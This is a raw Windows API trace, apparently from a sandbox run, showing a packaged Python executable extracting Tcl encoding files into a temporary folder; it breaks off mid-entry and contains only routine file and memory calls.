[0036.570] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.570] GetFileType (hFile=0x10c) returned 0x1 [0036.570] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.570] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.570] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.570] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.570] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.570] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.570] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.570] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.570] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.570] CloseHandle (hObject=0x10c) returned 1 [0036.570] GetLastError () returned 0x0 [0036.570] SetLastError (dwErrCode=0x0) [0036.570] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-10.enc") returned 73 [0036.570] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-10.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-10.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.570] GetLastError () returned 0x2 [0036.570] SetLastError (dwErrCode=0x2) [0036.571] GetLastError () returned 0x2 [0036.571] SetLastError (dwErrCode=0x2) [0036.571] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-10.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-10.enc", lpFilePart=0x0) returned 0x48 [0036.571] GetLastError () returned 0x2 [0036.571] SetLastError (dwErrCode=0x2) [0036.571] GetLastError () returned 0x2 [0036.571] SetLastError (dwErrCode=0x2) [0036.571] GetLastError () returned 0x2 [0036.571] SetLastError (dwErrCode=0x2) [0036.571] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-10.enc") returned 73 [0036.571] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.571] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-10.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-10.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.571] GetFileType (hFile=0x10c) returned 0x1 [0036.571] htonl (hostlong=0x47040000) returned 0x447 [0036.571] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.571] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x447, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x447, lpOverlapped=0x0) returned 1 [0036.572] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.572] CloseHandle (hObject=0x10c) returned 1 [0036.573] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.573] htonl (hostlong=0x30000000) returned 0x30 [0036.573] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.573] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.573] GetFileType (hFile=0x10c) returned 0x1 [0036.573] htonl (hostlong=0x9675500) returned 0x556709 [0036.573] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a1709, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.573] htonl (hostlong=0x16020000) returned 0x216 [0036.573] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x216) returned 0x550600 [0036.573] htonl (hostlong=0x16020000) returned 0x216 [0036.574] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.574] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.574] htonl (hostlong=0x47040000) returned 0x447 [0036.574] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x447) returned 0x55e278 [0036.574] htonl (hostlong=0x16020000) returned 0x216 [0036.574] htonl (hostlong=0x47040000) returned 0x447 [0036.574] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.574] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.574] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.574] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.574] CloseHandle (hObject=0x10c) returned 1 [0036.574] GetLastError () returned 0x0 [0036.574] SetLastError (dwErrCode=0x0) [0036.574] GetLastError () returned 0x0 [0036.574] SetLastError (dwErrCode=0x0) [0036.574] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.574] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.574] GetFileType (hFile=0x10c) returned 0x1 [0036.574] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.574] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.574] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.574] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.574] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.574] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.574] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.574] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.575] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.575] CloseHandle (hObject=0x10c) returned 1 [0036.575] GetLastError () returned 0x0 [0036.575] SetLastError (dwErrCode=0x0) [0036.575] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.575] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.575] GetFileType (hFile=0x10c) returned 0x1 [0036.575] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.575] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.575] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.575] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.575] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.575] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.575] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.575] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.575] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.575] CloseHandle (hObject=0x10c) returned 1 [0036.575] GetLastError () returned 0x0 [0036.575] SetLastError (dwErrCode=0x0) [0036.575] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-13.enc") returned 73 [0036.575] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-13.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-13.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.575] GetLastError () returned 0x2 [0036.575] SetLastError (dwErrCode=0x2) [0036.576] GetLastError () returned 0x2 [0036.576] SetLastError (dwErrCode=0x2) [0036.576] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-13.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-13.enc", lpFilePart=0x0) returned 0x48 [0036.576] GetLastError () returned 0x2 [0036.576] SetLastError (dwErrCode=0x2) [0036.576] GetLastError () returned 0x2 [0036.576] SetLastError (dwErrCode=0x2) [0036.576] GetLastError () returned 0x2 [0036.576] SetLastError (dwErrCode=0x2) [0036.576] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-13.enc") returned 73 [0036.576] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.576] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-13.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-13.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.576] GetFileType (hFile=0x10c) returned 0x1 [0036.576] htonl (hostlong=0x47040000) returned 0x447 [0036.576] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.576] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x447, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x447, lpOverlapped=0x0) returned 1 [0036.607] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.607] CloseHandle (hObject=0x10c) returned 1 [0036.611] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.611] htonl (hostlong=0x30000000) returned 0x30 [0036.611] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.611] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.611] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.611] GetFileType (hFile=0x10c) returned 0x1 [0036.611] htonl (hostlong=0x1f695500) returned 0x55691f [0036.611] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a191f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.612] htonl (hostlong=0x18020000) returned 0x218 [0036.612] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x218) returned 0x550600 [0036.612] htonl (hostlong=0x18020000) returned 0x218 [0036.612] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.612] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.612] htonl (hostlong=0x47040000) returned 0x447 [0036.612] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x447) returned 0x55e278 [0036.612] htonl (hostlong=0x18020000) returned 0x218 [0036.612] htonl (hostlong=0x47040000) returned 0x447 [0036.612] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.612] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.612] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.612] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.612] CloseHandle (hObject=0x10c) returned 1 [0036.612] GetLastError () returned 0x0 [0036.612] SetLastError (dwErrCode=0x0) [0036.612] GetLastError () returned 0x0 [0036.612] SetLastError (dwErrCode=0x0) [0036.612] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.612] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.612] GetFileType (hFile=0x10c) returned 0x1 [0036.612] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.612] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.612] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.612] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.612] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.612] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.613] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.613] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.613] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.613] CloseHandle (hObject=0x10c) returned 1 [0036.613] GetLastError () returned 0x0 [0036.613] SetLastError (dwErrCode=0x0) [0036.613] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.613] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.613] GetFileType (hFile=0x10c) returned 0x1 [0036.613] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.613] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.613] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.613] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.613] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.613] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.613] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.613] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.613] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.613] CloseHandle (hObject=0x10c) returned 1 [0036.613] GetLastError () returned 0x0 [0036.613] SetLastError (dwErrCode=0x0) [0036.613] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-14.enc") returned 73 [0036.613] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-14.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-14.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.614] GetLastError () returned 0x2 [0036.614] SetLastError (dwErrCode=0x2) [0036.614] GetLastError () returned 0x2 [0036.614] SetLastError (dwErrCode=0x2) [0036.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-14.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-14.enc", lpFilePart=0x0) returned 0x48 [0036.614] GetLastError () returned 0x2 [0036.614] SetLastError (dwErrCode=0x2) [0036.614] GetLastError () returned 0x2 [0036.614] SetLastError (dwErrCode=0x2) [0036.614] GetLastError () returned 0x2 [0036.614] SetLastError (dwErrCode=0x2) [0036.614] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-14.enc") returned 73 [0036.614] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.614] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-14.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-14.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.614] GetFileType (hFile=0x10c) returned 0x1 [0036.614] htonl (hostlong=0x47040000) returned 0x447 [0036.614] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.614] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x447, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x447, lpOverlapped=0x0) returned 1 [0036.615] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.615] CloseHandle (hObject=0x10c) returned 1 [0036.616] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.616] htonl (hostlong=0x30000000) returned 0x30 [0036.616] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.616] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.616] GetFileType (hFile=0x10c) returned 0x1 [0036.616] htonl (hostlong=0x376b5500) returned 0x556b37 [0036.616] 